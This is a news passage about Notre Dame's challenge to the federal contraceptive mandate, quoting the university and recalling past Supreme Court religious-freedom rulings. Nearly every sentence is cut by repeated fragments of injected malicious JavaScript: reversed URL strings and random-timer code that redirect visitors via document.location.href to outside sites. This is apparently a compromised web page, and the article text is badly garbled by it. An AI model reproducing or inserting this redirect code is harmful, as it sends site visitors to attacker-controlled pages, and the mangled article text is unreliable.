“We disagree with (Posner’s) statement,” he said. “It is up doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Catholic institutions doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to decide whether doing a particular act violates Catholic beliefs and Jewish institutions doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to decide whether doing a particular act violates Jewish beliefs. It is emphatically not the province of civil courts doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to decide how religious law ought doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be applied doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to particular situations.”

The court has come down on both sides in the past 30 years.

Last year, a divided court ruled a government mandate did restrict religious practice. But in 1986, the justices came down against a Native American’s faith-based objection doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to associating a Social Security number with an application for welfare benefits. In their ruling, the justices affirmed an “absolute right” doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to freedom of individual belief, but not a similar “absolute right” doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to freedom of individual conduct when it hampers governmental administration.

Browne said the university wants the HHS doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to find another way doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to provide mandated contraceptives without involving religious objecdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors like Notre Dame.

“We challenged this mandate in the first instance as an infringement on our fundamental right doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the free exercise of our Catholic faith,” he explained. “Notre Dame hasn’t said it wants doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to sdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top the government from providing contraceptives; we shouldn’t be forced indoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the process.”